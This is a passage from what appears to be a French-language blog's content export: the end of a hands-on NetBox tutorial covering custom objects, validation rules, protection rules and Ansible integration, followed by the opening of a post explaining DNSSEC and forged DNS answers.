retirer.\nCela vit dans le fichier de configuration, donc il faut un redémarrage et ce n\u0026rsquo;est pas quelque chose qu\u0026rsquo;un utilisateur de l\u0026rsquo;interface peut changer. Pour un prestataire, c\u0026rsquo;est le bon sens de la chose : l\u0026rsquo;ensemble des statuts que votre activité reconnaît est une décision de gouvernance, pas une décision d\u0026rsquo;un mardi après-midi.\nÉtendez avant de remplacer. Les valeurs d\u0026rsquo;origine sont ce que chaque plugin, script et intégration s\u0026rsquo;attend à voir. Ajouter ne coûte rien. Remplacer est une décision que vous possédez pour toujours.\nLes custom objects Voici une vraie lacune. NetBox modélise les clusters, les machines virtuelles et les disques virtuels. Il ne modélise pas le datastore sur lequel ces disques vivent réellement, et pour quiconque fait tourner Proxmox ou VMware c\u0026rsquo;est l\u0026rsquo;objet qui relie le stockage que vous avez acheté à la charge qui l\u0026rsquo;utilise.\nLe plugin Custom Objects vous laisse définir un nouveau type d\u0026rsquo;objet depuis l\u0026rsquo;interface ou l\u0026rsquo;API, sans écrire de code. Donc :\nSept champs, dont deux sont tout le sujet. cluster est une référence objet unique vers un vrai cluster NetBox, réglée sur protect pour que personne ne puisse supprimer un cluster sous son stockage. provisioned_by est une référence multi-objets vers les équipements qui le servent réellement.\nCela vous donne un objet de première classe avec sa propre entrée de navigation, sa vue en liste, ses filtres, son import et son export :\nEt comme les références sont réelles, la relation apparaît aussi depuis l\u0026rsquo;autre bout. Ouvrez le cluster et les datastores y sont listés.\nUn custom object type hérite de l\u0026rsquo;essentiel de ce qui fait d\u0026rsquo;un objet NetBox un objet NetBox : vues en liste et en détail, une entrée de navigation, des endpoints REST, la recherche plein texte, la journalisation des changements, le journal, les tags, les favoris, l\u0026rsquo;import et l\u0026rsquo;export, les event rules et les notifications. Rien de tout cela n\u0026rsquo;a eu à être écrit.\nCe n\u0026rsquo;est pas non plus un blob JSON qui se fait passer pour une table. Le plugin émet du vrai DDL, et ce qui apparaît dans PostgreSQL est une vraie table avec de vraies contraintes :\nTable \u0026#34;public.custom_objects_2\u0026#34; Column | Type | Nullable | Default -----------------+----------+----------+------------------ id | bigint | not null | identity name | varchar | | cluster_id | bigint | | backing | varchar | | capacity_gb | bigint | | thin_provisioned| boolean | | Indexes: \u0026#34;custom_objects_2_name_key\u0026#34; UNIQUE CONSTRAINT, btree (name) Foreign-key constraints: ... FOREIGN KEY (cluster_id) REFERENCES virtualization_cluster(id) ON DELETE RESTRICT Le protect que j\u0026rsquo;ai demandé est devenu ON DELETE RESTRICT, et ça marche : supprimer ce cluster revient en 409 en nommant ce qui en dépend.\nDeux choses à savoir avant de vous y fier La validation est sur le formulaire, pas sur l\u0026rsquo;API. C\u0026rsquo;est celle qui piégerait une automatisation. J\u0026rsquo;ai déclaré required, une expression régulière et des bornes numériques sur les champs d\u0026rsquo;un custom object type, puis j\u0026rsquo;ai écrit dessus par l\u0026rsquo;API REST :\nCe que j\u0026rsquo;ai déclaré Ce que j\u0026rsquo;ai envoyé Résultat validation_regex une valeur qui ne correspond à rien 201 Created required: true le champ entièrement omis 201 Created validation_minimum: 1 un nombre négatif 201 Created unique: true un doublon 400, rejeté on_delete_behavior: protect supprimer l\u0026rsquo;objet référencé 409, rejeté Les deux qui ont tenu sont les deux qui sont devenues des contraintes en base. Le reste n\u0026rsquo;existe que sur le formulaire web, donc une personne qui tape est contrainte et une synchronisation nocturne ne l\u0026rsquo;est pas. Comparez avec le custom field du cœur plus haut, où la même expression régulière était imposée par l\u0026rsquo;API. Jusqu\u0026rsquo;à ce que cela change, mettez tout ce dont dépend une facture derrière une vraie contrainte.\nSupprimer un type supprime une table. Supprimer un champ supprime une colonne. C\u0026rsquo;est du DDL depuis un formulaire web, exécuté par quiconque a la permission, et la documentation le dit telle quelle.13 Restreignez qui peut les supprimer.\nQuand écrire un vrai plugin à la place Si l\u0026rsquo;objet compte, si de l\u0026rsquo;automatisation écrit dessus, et si vous seriez contrarié d\u0026rsquo;y trouver n\u0026rsquo;importe quoi, écrivez le modèle vous-même. Un plugin NetBox minimal, c\u0026rsquo;est un PluginConfig, un modèle, un serializer, un viewset, une table, un formulaire, quelques vues et une carte d\u0026rsquo;URL, et cela tient en moins de deux cents lignes majoritairement déclaratives. Dériver PrimaryModel vous donne gratuitement les tags, les custom fields, la journalisation des changements, le journal, les gabarits d\u0026rsquo;export et la propriété, et chaque contrainte que vous posez sur le modèle est imposée partout, car la machinerie de serializer de NetBox l\u0026rsquo;exécute.\nIl existe un gabarit cookiecutter et un tutoriel de plugin complet maintenus par la communauté. Partez de là plutôt que d\u0026rsquo;un répertoire vide.\nEt c\u0026rsquo;est la licence que vous choisissez, ce que personne ne peut changer ensuite.\nValidation personnalisée et classes de validation Tout ce qui précède porte sur l\u0026rsquo;enregistrement de ce qui est là. Ceci porte sur le refus d\u0026rsquo;enregistrer ce qui ne devrait pas l\u0026rsquo;être.\nNetBox valide chaque objet avant de l\u0026rsquo;écrire, et vous pouvez ajouter vos propres règles par-dessus. Il y a trois mécanismes, ils vivent tous dans configuration.py, et entre eux ils couvrent presque tout ce dont un standard maison a besoin.\nUn : des règles simples, sans code Un validateur peut être une simple correspondance entre des noms de champs et des conditions. Pas de Python, et c\u0026rsquo;est portable d\u0026rsquo;une installation à l\u0026rsquo;autre parce que ce ne sont que des données.\nCUSTOM_VALIDATORS = { \u0026#39;dcim.site\u0026#39;: ( {\u0026#39;description\u0026#39;: {\u0026#39;required\u0026#39;: True}}, ), \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;name\u0026#39;: {\u0026#39;regex\u0026#39;: r\u0026#39;^[a-z0-9]+-[a-z]+-([0-9]{2}|[a-z])$\u0026#39;}}, ), } Les conditions disponibles sont min, max, min_length, max_length, regex, required, prohibited, eq et neq. Vous pouvez atteindre un objet lié par un chemin pointé, donc region.name sur un site est permis, et vous pouvez filtrer sur request.user.username même si la documentation vous dit, à juste titre, d\u0026rsquo;utiliser plutôt les permissions pour cela.\nCes deux règles se déclenchent immédiatement :\nPOST a site with no description {\u0026#34;__all__\u0026#34;: [\u0026#34;Custom validation failed for description: [\u0026#39;This field must not be empty.\u0026#39;]\u0026#34;]} POST a device named \u0026#34;Server1\u0026#34; {\u0026#34;__all__\u0026#34;: [\u0026#34;Custom validation failed for name: [\u0026#39;Enter a valid value.\u0026#39;]\u0026#34;]} La seconde est un standard de nommage, imposé. Pas écrit sur une page de wiki, pas dans la tête de quelqu\u0026rsquo;un, pas une chose pour laquelle le nouveau se fait reprendre en revue trois semaines plus tard. La base ne l\u0026rsquo;accepte pas.\nDeux : une classe de validateur, quand la règle est une phrase Les règles simples vérifient un champ contre une constante. Les vraies règles maison sont généralement conditionnelles : ceci ne compte que quand cela. Pour celles-là vous dérivez CustomValidator, surchargez validate() et appelez fail().\nJ\u0026rsquo;en ai mis trois dans un module en /opt/netbox/netbox/house_rules.py :\nfrom extras.validators import CustomValidator class BillableKitNamesItsCustomer(CustomValidator): \u0026#34;\u0026#34;\u0026#34;Anything in a role we sell has to say whose it is.\u0026#34;\u0026#34;\u0026#34; BILLABLE_ROLES = {\u0026#39;hypervisor\u0026#39;} def validate(self, instance, request): role = getattr(instance, \u0026#39;role\u0026#39;, None) if role and role.slug in self.BILLABLE_ROLES and not instance.tenant: self.fail( f\u0026#34;A {role} is billable kit, so it must name the customer it belongs to.\u0026#34;, field=\u0026#39;tenant\u0026#39;, ) class RackedDeviceNeedsAPosition(CustomValidator): \u0026#34;\u0026#34;\u0026#34;A device in a rack with no rack unit is a device nobody can find.\u0026#34;\u0026#34;\u0026#34; def validate(self, instance, request): if instance.rack and instance.position is None: if instance.device_type and instance.device_type.u_height: self.fail( \u0026#34;A device in a rack needs a rack unit. Somebody has to find it.\u0026#34;, field=\u0026#39;position\u0026#39;, ) et je les ai câblées par chemin pointé :\nCUSTOM_VALIDATORS = { \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;name\u0026#39;: {\u0026#39;regex\u0026#39;: r\u0026#39;^[a-z0-9]+-[a-z]+-([0-9]{2}|[a-z])$\u0026#39;}}, \u0026#39;house_rules.BillableKitNamesItsCustomer\u0026#39;, \u0026#39;house_rules.RackedDeviceNeedsAPosition\u0026#39;, ), \u0026#39;ipam.prefix\u0026#39;: ( \u0026#39;house_rules.CustomerPrefixNeedsATenant\u0026#39;, ), } Notez qu\u0026rsquo;un modèle prend un tuple de validateurs, règles simples et classes librement mélangées, et qu\u0026rsquo;ils s\u0026rsquo;exécutent tous. Même un validateur unique doit être passé comme itérable, et c\u0026rsquo;est facilement cinq minutes de perdues.\nEnsuite les règles font ce qu\u0026rsquo;elles disent :\nPOST a hypervisor with no tenant {\u0026#34;tenant\u0026#34;: [\u0026#34;A Hypervisor is billable kit, so it must name the customer it belongs to.\u0026#34;]} POST a device into a rack with no position {\u0026#34;position\u0026#34;: [\u0026#34;A device in a rack needs a rack unit. Somebody has to find it.\u0026#34;]} POST a prefix with role \u0026#34;customer\u0026#34; and no tenant {\u0026#34;tenant\u0026#34;: [\u0026#34;A customer prefix must be assigned to a tenant.\u0026#34;]} POST a leaf switch with no tenant accepted, because a leaf switch is not in BILLABLE_ROLES Parce que fail() prend un field, le message atterrit sur la bonne case du formulaire plutôt qu\u0026rsquo;en haut de la page, et c\u0026rsquo;est la différence entre une règle que les gens apprennent et une règle que les gens prennent mal.\nC\u0026rsquo;est aussi la réponse à la lacune de la section sur les custom objects. La validation là-bas n\u0026rsquo;existait que sur le formulaire web. Un CustomValidator s\u0026rsquo;exécute dans la couche modèle, donc il s\u0026rsquo;applique à l\u0026rsquo;interface, à l\u0026rsquo;API REST, aux mutations GraphQL, aux imports en masse et à tout ce que fait un script. Il y a un seul endroit où écrire la règle et aucun moyen de la contourner.\nTrois : les protection rules, pour la suppression CUSTOM_VALIDATORS garde les écritures. PROTECTION_RULES garde les suppressions, et il prend exactement les deux mêmes formes.\nPROTECTION_RULES = { \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;status\u0026#39;: {\u0026#39;eq\u0026#39;: \u0026#39;offline\u0026#39;}}, ), } Cela dit qu\u0026rsquo;un équipement ne peut être supprimé que lorsqu\u0026rsquo;il est hors ligne. Ce qui produit :\nDELETE an active device {\u0026#34;detail\u0026#34;: \u0026#34;Deletion is prevented by a protection rule: [\\\u0026#34;Custom validation failed for status: [\u0026#39;Ensure this value is equal to offline.\u0026#39;]\\\u0026#34;]\u0026#34;} set it to offline, then DELETE 204 No Content Deux frappes de clavier de friction entre quelqu\u0026rsquo;un et un équipement en service, et c\u0026rsquo;est l\u0026rsquo;assurance la moins chère de toute l\u0026rsquo;application. Faites du processus de décommissionnement la chose qui déverrouille le bouton de suppression.\nCelle qui vous attrapera Les données existantes ne sont pas vérifiées avant que vous les touchiez à nouveau. Ajouter une règle ne revient pas en arrière valider ce qui est déjà là. Elle reste tranquille jusqu\u0026rsquo;à ce que quelqu\u0026rsquo;un enregistre un objet qui la viole, et alors cette personne reçoit une erreur à propos d\u0026rsquo;une décision à laquelle elle n\u0026rsquo;a rien eu à voir.\nJe l\u0026rsquo;ai vu arriver. mcr1-hv-06 a été créé avant que j\u0026rsquo;écrive quoi que ce soit de tout ceci, en hyperviseur sans tenant. Il était là, parfaitement tranquille. Puis j\u0026rsquo;ai édité sa description :\nPATCH {\u0026#34;description\u0026#34;: \u0026#34;touching it to trigger revalidation\u0026#34;} {\u0026#34;tenant\u0026#34;: [\u0026#34;A Hypervisor is billable kit, so it must name the customer it belongs to.\u0026#34;]} L\u0026rsquo;édition n\u0026rsquo;avait rien à voir avec le tenant. La règle s\u0026rsquo;est déclenchée quand même, car la validation porte sur l\u0026rsquo;objet entier.\nC\u0026rsquo;est un comportement correct et c\u0026rsquo;est aussi comment une nouvelle règle se transforme en ticket de support. Avant d\u0026rsquo;en activer une, lancez une requête sur les objets qui échoueraient et corrigez-les d\u0026rsquo;abord. L\u0026rsquo;API rend cela facile : la règle est un filtre, donc demandez les équipements ayant ce rôle et aucun tenant, et vous avez votre liste.\nActivez la règle ensuite. Alors elle n\u0026rsquo;attrape plus que les nouvelles erreurs, et c\u0026rsquo;est à cela qu\u0026rsquo;elle sert.\nLe piloter depuis Ansible Une source de vérité que personne ne lit pourrit. La collection netbox.netbox est la façon dont la plupart des gens empêchent cela, et elle fonctionne dans les deux sens : NetBox dit à Ansible ce qui existe, et Ansible dit à NetBox ce qu\u0026rsquo;il a construit.\nElle est en version 3.23.0, sous licence GPL-3.0, et a été téléchargée depuis Galaxy plus de 13,4 millions de fois. Elle porte 91 modules et un plugin d\u0026rsquo;inventaire.14 Tout ce qui suit a été exécuté contre la même instance, depuis un conteneur ne contenant rien d\u0026rsquo;autre qu\u0026rsquo;ansible-core 2.21.4, pynetbox 7.8.0 et la collection.\nL\u0026rsquo;inventaire est une requête, pas un fichier C\u0026rsquo;est la moitié qui se rentabilise dès le premier après-midi. nb_inventory construit votre inventaire Ansible directement depuis NetBox :\nplugin: netbox.netbox.nb_inventory api_endpoint: http://netbox:8080 token: \u0026#34;{{ lookup(\u0026#39;env\u0026#39;, \u0026#39;NETBOX_TOKEN\u0026#39;) }}\u0026#34; config_context: false group_by: - sites - device_roles - tenants - racks device_query_filters: - has_primary_ip: true Cela produit ceci, sans que personne n\u0026rsquo;entretienne une liste d\u0026rsquo;hôtes :\n@sites_manchester-dc1: @device_roles_hypervisor: |--mcr1-core-01 |--mcr1-hv-01 |--mcr1-core-02 |--mcr1-hv-02 |--mcr1-hv-01 |--mcr1-hv-03 |--mcr1-hv-02 |--mcr1-hv-04 ... |--mcr1-hv-05 @racks_MCR1-A07: @tenants_ravenscroft-legal: |--mcr1-core-01 |--mcr1-hv-01 |--mcr1-core-02 |--mcr1-hv-02 ... @tenants_padgate-foods: @device_roles_core-router: |--mcr1-hv-03 |--mcr1-core-01 |--mcr1-hv-04 |--mcr1-core-02 @tenants_hartley-components: |--mcr1-hv-05 Regardez la colonne de droite. Parce que les tenants sont renseignés sur les équipements, vous obtenez gratuitement un groupe par client, donc --limit tenants_ravenscroft-legal exécute un play contre exactement le matériel d\u0026rsquo;un seul client. Ajoutez un équipement dans NetBox et il est dans le groupe à l\u0026rsquo;exécution suivante. Décommissionnez-en un et il disparaît. Personne n\u0026rsquo;édite quoi que ce soit.\nChaque hôte arrive porteur de ce que NetBox sait de lui :\nansible_host \u0026#34;2001:db8:20:20::11\u0026#34; primary_ip4 \u0026#34;10.20.20.11\u0026#34; primary_ip6 \u0026#34;2001:db8:20:20::11\u0026#34; device_roles [\u0026#34;hypervisor\u0026#34;] sites [\u0026#34;manchester-dc1\u0026#34;] racks [\u0026#34;MCR1-A07\u0026#34;] tenants [\u0026#34;ravenscroft-legal\u0026#34;] device_types [\u0026#34;sys-1029u-tn10rt\u0026#34;] manufacturers [\u0026#34;supermicro\u0026#34;] status {\u0026#34;label\u0026#34;: \u0026#34;Active\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;active\u0026#34;} Vingt-deux clés en tout, et l\u0026rsquo;une d\u0026rsquo;elles vaut la peine d\u0026rsquo;être remarquée avant qu\u0026rsquo;elle ne vous surprenne. ansible_host est l\u0026rsquo;adresse IPv6, parce que cet équipement a une primaire v6 renseignée. Je l\u0026rsquo;ai vérifié contre deux autres qui n\u0026rsquo;ont que de l\u0026rsquo;v4 et ils sont revenus en v4, donc la règle est que le plugin préfère l\u0026rsquo;v6 là où une primaire v6 existe. Ce qui est correct, et c\u0026rsquo;est aussi le genre de chose qu\u0026rsquo;on préfère découvrir maintenant plutôt qu\u0026rsquo;en se demandant pourquoi un play se connecte par un chemin auquel on n\u0026rsquo;avait pas pensé.\nÉcrire en retour Les modules sont l\u0026rsquo;autre sens, et celui qu\u0026rsquo;il faut avoir est l\u0026rsquo;attribution d\u0026rsquo;adresses IP, car NetBox sait ce qui est libre et votre playbook non.\n- name: Rack the device netbox.netbox.netbox_device: netbox_url: \u0026#34;{{ nb_url }}\u0026#34; netbox_token: \u0026#34;{{ nb_token }}\u0026#34; data: name: mcr1-hv-07 device_type: SYS-1029U-TN10RT device_role: Hypervisor site: Manchester DC1 rack: MCR1-A07 position: 14 face: Front tenant: Hartley Components state: present - name: Let NetBox pick the next free address out of the customer prefix netbox.netbox.netbox_ip_address: netbox_url: \u0026#34;{{ nb_url }}\u0026#34; netbox_token: \u0026#34;{{ nb_token }}\u0026#34; data: prefix: 10.20.22.0/24 tenant: Hartley Components assigned_object: device: mcr1-hv-07 name: eno1 state: new Remarquez ce qui n\u0026rsquo;y est pas. Aucune adresse IP. Vous nommez le préfixe et NetBox vous rend la prochaine libre :\nTASK [Let NetBox pick the next free address out of the customer prefix] **** changed: [localhost] \u0026#34;device : mcr1-hv-07 (created)\u0026#34; \u0026#34;interface: eno1 (created)\u0026#34; \u0026#34;address : 10.20.22.1/24 (allocated)\u0026#34; Et c\u0026rsquo;est là dans l\u0026rsquo;interface une seconde plus tard, câblé à rien encore mais racké, rattaché et adressé :\nLe piège dans ce playbook Exécutez-le une seconde fois sans changer une ligne et voici ce qui arrive :\n\u0026#34;device : mcr1-hv-07 (already correct)\u0026#34; \u0026#34;interface: eno1 (already correct)\u0026#34; \u0026#34;address : 10.20.22.2/24 (allocated)\u0026#34; L\u0026rsquo;équipement et l\u0026rsquo;interface sont idempotents. L\u0026rsquo;adresse ne l\u0026rsquo;est pas, et ce n\u0026rsquo;est pas un bug. state: present signifie « fais que ça ressemble à ceci ». state: new signifie « donne-m\u0026rsquo;en une nouvelle », à chaque fois, et c\u0026rsquo;est exactement ce qu\u0026rsquo;il a fait : deux adresses sur une interface après deux exécutions.\nC\u0026rsquo;est très bien quand vous provisionnez réellement quelque chose de neuf, et cela mangera discrètement un préfixe si vous le mettez dans une tâche qui tourne chaque nuit. Attribuez une fois et consignez le résultat, ou utilisez state: present avec l\u0026rsquo;adresse que vous détenez déjà. Le module fait ce que vous avez demandé. La question est de savoir si vous avez demandé ce que vous vouliez dire.\nCe n\u0026rsquo;est pas seulement Ansible La collection attire l\u0026rsquo;attention parce qu\u0026rsquo;Ansible est là où la plupart des équipes réseau se trouvent déjà, mais l\u0026rsquo;API est le produit et bien des choses la parlent.\nChose Ce que c\u0026rsquo;est Licence pynetbox Le client Python que la collection utilise elle-même Apache 2.0 terraform-provider-netbox Gérer les objets NetBox comme des ressources Terraform, activement maintenu par e-breuninger MPL 2.0 nornir_netbox NetBox comme inventaire Nornir, pour ceux qui font du Python plutôt que du YAML Apache 2.0 Prometheus SD Sert à Prometheus ses cibles de scrape depuis NetBox MIT go-netbox Un client Go, même s\u0026rsquo;il n\u0026rsquo;a pas été touché depuis mai 2025 voir le dépôt Diode Le pipeline d\u0026rsquo;ingestion de NetBox Labs pour pousser des données découvertes NetBox Limited Use L\u0026rsquo;entrée Terraform est l\u0026rsquo;intéressante pour quiconque gère déjà son infrastructure ainsi, car elle permet à un seul plan de créer la ressource cloud et l\u0026rsquo;enregistrement NetBox qui la documente, plutôt que de laisser la seconde moitié à la mémoire de quelqu\u0026rsquo;un.15\nDiode porte la même licence que Branching et Custom Objects, donc la même lecture s\u0026rsquo;impose avant de bâtir dessus.\nCe que l\u0026rsquo;après-midi achète vraiment Tout ce qui précède m\u0026rsquo;a pris une journée sur une seule machine, et la majeure partie de cette journée est passée à semer des données pour que les écrans aient quelque chose dedans. L\u0026rsquo;installation, c\u0026rsquo;est vingt minutes dans les deux cas. Les décisions sont la partie qui compte et elles se prennent toutes dans la première heure : les tenants avant tout, les types d\u0026rsquo;équipement avant les équipements, les chiffres sur les types plutôt que sur le matériel.\nCe que vous obtenez pour cela n\u0026rsquo;est pas de la documentation. Ce n\u0026rsquo;est pas une distinction que l\u0026rsquo;on fait avant d\u0026rsquo;avoir eu les deux : la documentation est une chose qu\u0026rsquo;on écrit puis qu\u0026rsquo;on arrête d\u0026rsquo;entretenir. Ce que vous obtenez est une base qui refuse de contenir une contradiction : elle ne vous laissera pas mettre deux choses dans une même unité de baie, ni une baie dans une location qui appartient à un autre site, ni un équipement sur un type qui n\u0026rsquo;existe pas. Chacun de ces refus est une dispute que vous n\u0026rsquo;aurez pas dans six mois.\nEt elle vous dira des choses que personne ne lui a demandées. Cette armoire est remplie à 28,6 % de matériel et à 90,7 % d\u0026rsquo;électricité. Personne n\u0026rsquo;a cherché à trouver ça. C\u0026rsquo;est tombé d\u0026rsquo;une puissance mise une fois sur un type d\u0026rsquo;équipement, et c\u0026rsquo;est la différence entre racker la prochaine commande là et l\u0026rsquo;apprendre à la dure.\nLa réserve honnête est la même que pour toute source de vérité. Elle ne vaut que ce qu\u0026rsquo;il vous coûte de la tenir juste, et la seule version qui survit à un trimestre chargé est celle où quelque chose casse visiblement quand les données sont fausses. Câblez votre supervision, votre provisionnement ou vos règles de pare-feu pour qu\u0026rsquo;ils y lisent, et une entrée fausse cesse d\u0026rsquo;être un problème de documentation dont quelqu\u0026rsquo;un s\u0026rsquo;occupera. Elle devient une panne à neuf heures et demie un mardi, avec un nom dessus. Cela ressemble à un coût. C\u0026rsquo;est tout le mécanisme.\nPersonne ne vous en remerciera non plus. Un enregistrement juste se manifeste comme la migration qui a pris quinze jours au lieu d\u0026rsquo;un trimestre, l\u0026rsquo;audit qui a pris un après-midi, le client qui a eu une réponse droite au téléphone. Rien de cela n\u0026rsquo;apparaît sur un rapport à côté de votre nom.\nFaites-le quand même. L\u0026rsquo;alternative est une entreprise incapable de se décrire, et une entreprise incapable de se décrire n\u0026rsquo;est pas dirigée. Elle est remémorée, par de moins en moins de gens chaque année.\nNetBox, Introduction — « Today, the open source project is stewarded by NetBox Labs and a team of volunteer maintainers », et l\u0026rsquo;origine chez DigitalOcean en 2015, passé en open source en juin 2016.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, LICENSE.txt — Apache License 2.0, copyright DigitalOcean, LLC. Origine et prise en charge d\u0026rsquo;après l\u0026rsquo;introduction.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNotes de version de Nautobot v1.0.0 — « a divergent fork of NetBox 2.10 », publiée le 26 avril 2021, et la liste de ce qu\u0026rsquo;elle a ajouté par rapport à NetBox 2.10.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetwork to Code, « Why Did Network to Code Fork NetBox? », 25 février 2021 — le raisonnement sur les SLA et le support au long cours, la divergence de vision, et « the NetBox project team suggested that we should consider forking ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Labs a été fondée en 2023 en spin-out de NS1 après son acquisition par IBM, cofondée par le mainteneur principal de NetBox Jeremy Stretch, et a annoncé une Série A de 20 M$ en avril 2023 : NetBox Labs, « Let\u0026rsquo;s Go: Announcing NetBox Labs » et l\u0026rsquo;annonce de la Série A.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Labs, NetBox Enterprise — l\u0026rsquo;édition commerciale autogérée, avec « 24/7 expert assistance from the NetBox Labs team » ; NetBox Cloud est l\u0026rsquo;offre hébergée. Les termes de SLA précis ne sont pas publiés sur cette page.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNombres d\u0026rsquo;étoiles et de forks, dates de publication et licences des deux projets relevés via l\u0026rsquo;API GitHub le 30 septembre 2026 : netbox-community/netbox et nautobot/nautobot. Les versions parallèles 3.2.x et 2.4.x de Nautobot sont toutes deux datées du 28 septembre 2026.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetbox-community/netbox-docker — la pile de conteneurs de la communauté, Apache 2.0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, Installation — le tableau des versions prises en charge, et les notes de version v4.7 pour les minimums PostgreSQL et Redis relevés. Version et édition relevées dans netbox/release.yaml.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Limited Use License 1.0 — portée par netbox-custom-objects et, à l\u0026rsquo;identique, par netbox-branching. Les deux clauses citées sont littérales.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, HTTP Server installation, « What\u0026rsquo;s Next? » — « Some of the most popular plugins include » NetBox Branching, NetBox Custom Objects, NetBox DNS et NetBox BGP, sans aucune mention des termes de licence.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, Data Validation configuration — FIELD_CHOICES, et le suffixe signe plus qui étend au lieu de remplacer : « To replace the available choices, specify the app, model, and field name separated by dots \u0026hellip; To extend the available choices, append a plus sign ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDocumentation de netboxlabs/netbox-custom-objects — « Deleting a Custom Object Type drops an entire database table and should be done with caution. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetbox.netbox sur Ansible Galaxy et netbox-community/ansible_modules — version 3.23.0, GPL-3.0, 91 modules plus le plugin d\u0026rsquo;inventaire nb_inventory. Nombre de téléchargements relevé sur Galaxy le 30 septembre 2026. Tout ce qui est montré a été exécuté avec ansible-core 2.21.4 et pynetbox 7.8.0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLicences, activité et nombres d\u0026rsquo;étoiles relevés sur chaque projet le 30 septembre 2026 : pynetbox (Apache 2.0), terraform-provider-netbox (MPL 2.0, v6.0.0-rc.1 sur le registre Terraform), nornir_netbox (Apache 2.0), netbox-plugin-prometheus-sd (MIT), go-netbox (dernier push le 9 mai 2025) et Diode, qui porte la même NetBox Limited Use License 1.0 que Branching et Custom Objects.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/netbox/what-is-netbox/","summary":"Une visite pratique de NetBox 4.7.2 avec un parc réellement chargé dedans plutôt qu\u0026rsquo;une démo vide. Ce que contient chaque écran et ce que vous en faites : élévations de baie, tracés de câbles, l\u0026rsquo;arbre IPAM, les interfaces double pile, et la baie qui se révèle remplie à 90,7 pour cent côté électricité alors qu\u0026rsquo;elle n\u0026rsquo;est qu\u0026rsquo;à 28,6 pour cent côté matériel. Comment en monter un en pile de conteneurs et sur un hôte depuis les paquets, les deux menés de bout en bout. L\u0026rsquo;ordre dans lequel il faut le remplir, déduit des clés étrangères réellement obligatoires. Comment une seule installation se découpe par client, de sorte que l\u0026rsquo;équipement d\u0026rsquo;un autre client renvoie 404 et un type d\u0026rsquo;objet non accordé renvoie 403. Les config contexts et l\u0026rsquo;héritage qui les rend plus utiles que les custom fields. Ajouter vos propres valeurs aux menus de statut de NetBox. Trois façons d\u0026rsquo;ajouter l\u0026rsquo;objet dont vit votre activité, dont un datastore modélisé sans une ligne de code. Comment écrire des règles de validation et des classes de validateur pour que la base refuse ce que votre standard maison interdit. Et l\u0026rsquo;histoire du fork de 2021 d\u0026rsquo;où est sorti Nautobot, à quoi il servait et ce qui a convergé depuis. Plus le pilotage de l\u0026rsquo;ensemble depuis la collection Ansible netbox.netbox, où l\u0026rsquo;inventaire est une requête et non un fichier, et où un argument de module attribue discrètement une nouvelle adresse à chaque exécution.","title":"NetBox : ce qu'il contient, et comment y mettre le vôtre"},{"content":"Chaque nom que votre machine a résolu aujourd\u0026rsquo;hui, elle l\u0026rsquo;a cru. Votre banque, vos mises à jour, votre serveur de messagerie. Une réponse est revenue du réseau et rien n\u0026rsquo;a vérifié si elle venait de l\u0026rsquo;organisation qui détient le nom ou de celui qui a placé un paquet en premier. Une réponse DNS ordinaire ne porte pas de signature, rien à vérifier, rien qui remarquerait que quelque chose cloche. C\u0026rsquo;était une conception raisonnable en 1983 et elle a cessé de l\u0026rsquo;être depuis longtemps.\nDNSSEC est le correctif de très exactement ça, et il n\u0026rsquo;est ni nouveau ni coûteux. Le propriétaire de la zone signe ses enregistrements. La zone au-dessus publie une empreinte de sa clé et la signe, et ainsi de suite en remontant, jusqu\u0026rsquo;à l\u0026rsquo;unique clé racine que votre résolveur connaît de naissance. Tout ce qui vérifie la chaîne distingue une vraie réponse d\u0026rsquo;une falsifiée. C\u0026rsquo;est une norme depuis 2005, la racine est signée depuis juillet 2010, et les registres publient les enregistrements pour rien.1 2\nLe haut de l\u0026rsquo;arbre est terminé. J\u0026rsquo;ai compté la zone racine en direct pour ce billet et 1 351 domaines de premier niveau sur 1 438 sont signés, dont les 1 038 génériques. Puis ça tombe d\u0026rsquo;une falaise. Sur les 2 390 domaines gov.uk qui résolvent encore, trente-neuf sont signés, et neuf d\u0026rsquo;entre eux sont des conseils de paroisse. Le MI6 y est arrivé. Le Centre national de cybersécurité, non.\nVoici ce que coûte réellement une réponse falsifiée et ce que la signature y change, compté sur la zone racine en direct le 27 septembre 2026 et en descendant à travers l\u0026rsquo;État, les banques, les distributions d\u0026rsquo;où vous installez et les autorités de certification. Une commande par domaine, la permission de personne, et chaque nom listé pour que vous discutiez mes choix plutôt que mon arithmétique. En dessous, la question à laquelle je voulais vraiment une réponse. Quarante-deux ans après que Mockapetris a mis le DNS par écrit, si presque personne ne signe, est-ce que personne n\u0026rsquo;a jamais compris ce que le DNS promettait ?\nCe qu\u0026rsquo;est DNSSEC, et à quoi il sert En une phrase : DNSSEC pose une signature cryptographique sur les réponses DNS, pour qu\u0026rsquo;un résolveur puisse prouver qu\u0026rsquo;une réponse vient du propriétaire de la zone plutôt que de celui qui a répondu en premier.\nCe n\u0026rsquo;est ni du chiffrement, ni un pare-feu, ni un filtre. C\u0026rsquo;est une signature et une chaîne de clés qui remonte à une unique clé à laquelle votre résolveur fait déjà confiance. C\u0026rsquo;est toute l\u0026rsquo;idée.\nMaintenant l\u0026rsquo;attaque, parce que le protocole ne prend son sens 